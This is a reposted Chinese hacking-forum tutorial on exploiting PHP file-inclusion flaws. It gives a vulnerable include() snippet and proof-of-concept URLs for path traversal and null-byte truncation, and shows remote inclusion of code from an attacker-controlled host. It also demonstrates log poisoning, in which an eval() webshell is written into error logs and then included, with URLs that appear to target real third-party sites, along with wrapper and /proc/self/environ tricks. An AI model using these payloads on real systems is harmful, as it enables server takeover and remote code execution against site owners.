php包含那点事情

2013-04-28 15:51:40 21 2249
转个乌云上php include相关的总结帖,有很多内容也是从T00ls出去的。

原地址:http://zone.wooyun.org/content/2196

有空就多整理下曾经研究过的知识和需要温顾的知识,明年可能去寻工作络.


关于PHP中LFI(Local File Include,本地文件包含)漏洞,大家都很熟悉了;paper很多很多,特别是国外的...不过

大家都懒得测试,我就来整理下.

1.普通本地包含;

<?php
$query=$_GET['p'];

include($query);
?>


poc:http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php

../hanguo/test.php为包含的路径.



只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。

2.截断本地包含
require_once($a.'.php');


include($a.".php");

等等类似此包含的函数..


在WINDOWS下还有特别用处:

\.或者./或者\或者/截断 (WINDOWS都可以使用.)

波波虎


截断的原理


Linux包含截断例子 (Linux ./和/可以.)

%00截断包含,有gpc=off和php版本限制

poc:http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php%00


3.远程包含

在allow_url_include=On就是远程文件包含了,为off那就只能本地包含了.

测试case:
<?php
$query=$_GET['p'];

include($query.".php");
?>


连接:http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah.txt

爆错了:

Warning: main(http://www.axxer.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in

/var/www/htdocs/explame.php on line 3


include($query.".php");代码的缘故,在后面加上了".php",导致yeah.txt变成了yeah.txt.php.

这里我们不需要截断啦,来个360计之----将计就计.

www.axxer.com创建个yeah.php文件;

然后http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah,自动在后面加

上.php;多么爱。。。。


远程包含小连接

我们还可以用php自带协议来利用:

包含data:// 或者php://input 伪协议

这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。

http://www.schnelltest24.de/index.php?page=/etc/passwd//这个没有截断,我们尝试下用协议看看.



利用协议然后POST发送利用代码,哈哈;多么有爱~~~~.

4.日记包含高级利用

Linux包含截断例子

此连接已经透露出技巧了呢,连接思路简单说下:

(1)访问带有一句话的错误连接(http://www.ujn.edu.cn/&lt;%3fphp eval($_REQUEST[s ]);%3f>xxxxxxxx...),此连接将记录到error.log错误记录文件中.


(2)找到包含漏洞的地方,包含到error.log文件的路径.然后在自定义s参数中输入我们恶意代码. (http://www.ujn.edu.cn/english/depart.php?s=phpinfo();&name=../../../../../../var/log/lighttpd/error.log/././..........)


一先限制以及突破:
类似http://www.exp.com/index&lt;?php eval($_POST[cmd]);?>.php
这样的提交,某些WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php%20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.

可以使用:伪造没有Connection HTTP标头的请求包

一点连接:内容1

内容2


5.其他高级利用

(1)包含/proc/self/environ环境变量:
这个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样



利用(文章中第四点有详细介绍了.)

(2) phpinfo临时文件爆破包含. //看情况而定,有的需要%00等特殊字符截断.上面介绍过了.

(3)_SESSION爆破包含.   //看情况而定,有的需要%00等特殊字符截断.上面介绍过了.

(2) (3)点介绍

phpinfo爆破包含pdf


補充:PHP Version >=5.3.4, >=5.2.15 的 NULL byte poisoning已被fixed,加上gpc及各種過濾,基本上已死
RFI(远程包含)的後綴可以用?當成query string 來truncate
更多的Path Truncation: FreeBSDFuzz1Fuzz2點號截斷Linux
PHP的伪协议又叫Wrapper:http://php.net/manual/en/wrappers.php,當中以php stream最為常用,例如在readfile而不是include等場景可以透過php://filter/read=convert.base64-encode/resource= 讀取base64後的文件;
又例如php://fd 的利用:http://zone.wooyun.org/content/230 (PHP Version >=5.3.6 and <= 5.4.3, 5.3.13)
要留意部分wrapper需要特定條件

最後在Windows中包含临时文件可以嘗試大量上傳並遍曆tmp目錄,檔案名最长4个随机字符如php1A.tmp

关于作者

godblack480篇文章1182篇回复T00ls认证专家。

一个高尚的人,一个纯粹的人,一个有道德的人,一个脱离了低级趣味的人,一个有益于人民的人。

评论21次

要评论?请先  登录  或  注册